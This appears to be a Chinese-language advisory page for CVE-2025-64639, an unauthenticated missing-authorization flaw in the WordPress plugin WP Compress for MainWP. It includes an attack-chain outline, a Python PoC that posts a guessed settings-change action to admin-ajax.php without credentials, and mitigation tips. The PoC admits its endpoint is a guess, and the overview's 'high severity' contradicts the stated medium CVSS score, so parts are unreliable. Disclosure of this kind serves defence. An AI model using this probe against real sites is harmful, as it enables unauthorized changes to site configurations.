CVE-2025-64639 WordPress WP Compress MainWP插件缺失授权漏洞

漏洞信息

漏洞编号

CVE-2025-64639

漏洞类型

缺失授权

CVSS评分

5.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

WP Compress for MainWP (wp-compress-mainwp)

漏洞概述

CVE-2025-64639是WordPress插件WP Compress for MainWP中的一个高危安全漏洞。该漏洞属于缺失授权（Missing Authorization）类型，允许未经身份验证的攻击者利用配置错误的访问控制安全级别进行未授权操作。WP Compress for MainWP插件主要用于在MainWP仪表板中管理和优化WordPress网站的图像压缩功能。由于插件在实现某些敏感功能时未正确验证用户权限，攻击者可以通过构造特定请求来绕过访问控制限制，执行本应需要授权才能完成的操作。此漏洞影响版本从n/a到6.50.17的所有版本，CVSS评分5.3，属于中等严重程度。

技术细节

该漏洞的根本原因在于WP Compress for MainWP插件在实现访问控制机制时存在缺陷。插件的某些管理功能缺少适当的权限检查，导致任何访问该功能的用户（即使未登录或没有管理员权限）都能执行敏感操作。攻击者可以利用这一点，通过直接调用相关API端点或发送特制的HTTP请求来触发未授权操作。漏洞主要涉及插件的配置更新、图像压缩设置修改等管理功能。由于MainWP系统本身用于管理多个WordPress站点，此漏洞可能被用来攻击整个MainWP网络中的所有连接站点，危害范围较大。攻击者无需获取任何凭据即可利用此漏洞，这使得漏洞利用门槛极低。

攻击链分析

STEP 1

步骤1

扫描目标WordPress网站，识别是否安装并启用WP Compress for MainWP插件

STEP 2

步骤2

分析插件的API端点和功能函数，识别缺少权限验证的接口

STEP 3

步骤3

构造恶意HTTP请求，直接调用敏感管理功能（如配置更新、图像处理等）

STEP 4

步骤4

在未携带任何认证凭据的情况下发送请求，绕过访问控制检查

STEP 5

步骤5

成功执行未授权操作，可能修改插件配置或影响MainWP网络中所有连接站点的压缩设置

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-64639 PoC - WP Compress MainWP Missing Authorization
# Target: WordPress site with WP Compress for MainWP plugin <= 6.50.17
# Type: Missing Authorization / Broken Access Control

import requests
import json

target_url = "http://target-wordpress-site.com"

# Since the vulnerability is a missing authorization check,
# we can try to access admin functions without authentication

# Example 1: Direct API call to plugin's admin function
endpoints_to_check = [
    f"{target_url}/wp-admin/admin-ajax.php",
    f"{target_url}/wp-json/wp-compress-mainwp/v1/config",
    f"{target_url}/wp-admin/admin.php?page=wp-compress-mainwp"
]

# PoC: Try to access plugin settings without authentication
payload = {
    "action": "wp_compress_mainwp_update_settings",
    "settings": {
        "compression_level": "maximum",
        "auto_optimize": True
    }
}

# Send request without authentication cookies
response = requests.post(
    endpoints_to_check[0],
    data=payload,
    headers={"Content-Type": "application/x-www-form-urlencoded"}
)

if response.status_code == 200:
    print("[+] Request processed - Possible missing authorization")
    print(f"[+] Response: {response.text}")
else:
    print("[-] Request blocked or requires authentication")

# Note: Actual PoC requires specific endpoint identification
# based on plugin's actual implementation

影响范围

WP Compress for MainWP (wp-compress-mainwp) <= 6.50.17

防御指南

临时缓解措施

在官方发布安全更新之前，可以临时采取以下措施缓解风险：1) 限制wp-admin目录的访问，只允许特定IP地址访问；2) 使用安全插件如Wordfence或Sucuri监控可疑活动；3) 临时禁用WP Compress for MainWP插件直到发布安全补丁；4) 确保MainWP网络中的所有站点都保持最新状态；5) 启用双因素认证增强管理账户安全。